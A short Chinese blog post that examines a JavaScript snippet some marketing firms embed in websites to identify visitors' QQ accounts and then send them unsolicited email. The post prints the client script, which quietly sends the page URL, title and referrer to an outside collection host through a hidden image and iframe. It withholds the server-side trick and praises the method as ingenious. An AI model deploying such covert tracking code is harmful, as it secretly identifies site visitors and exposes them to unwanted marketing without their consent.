现在有些互联网公司在开发一种软件,插入一段js代码到网站的任意页面(如首页),如果访客访问了网页,并且访客的电脑上打开并登录了QQ,那么就能获取到访客的QQ号码,从而判断客户是否开通了QQ邮箱,进而自动发送邮件,并展开后继的主动营销。
但这种技术如何实现的呢?通过今天研究其中一家软件公司的js代码,我发现了其中的一种绝妙的实现方式。 在需要获取的网页加入如下js引用:
而qq.js的代码如下:
<br/>var para=document.getElementById("qclient_js");<br/>var v;<br/>v=para.src;<br/>var tmp=v.split("?");<br/>var ids=tmp[1];<br/>var host=encodeURIComponent(document.location.href);<br/>var title=encodeURIComponent(document.title);<br/>var refer=encodeURIComponent(document.referrer);<br/>var tm=Math.random();<br/>var timet=Math.round(new Date().getTime()/1000);<br/>//alert(refer);<br/>document.write('<img id="flyerimg" style="display:none;" ><iframe id="login_frame" height="0" scrolling="auto" width="0" frameborder="0" src=""></iframe><img src="" style="display:none;">');<br/>var key=['http','https','baidu','qq.com','google.com','www.暂时保密.com','/']; <br/>function send(){var url=key[0]+"://"+key[5]+key[6]+"getqq/qq.php?p="+ids+"&r="+refer+"&u="+host+"&t="+title+"&timet="+timet+"&m="+Math.random();;document.getElementById("flyerimg").src=url;}setTimeout(send,1000);setTimeout(send,3000);<br/>
最关键的地方是getqq/qq.php文件,这里简直是奇才才能想到的方式去解决这里的技术问题。
这里先不公开具体的实现,想了解思路的朋友可以QQ联系我,这条干货暂时不收费呀。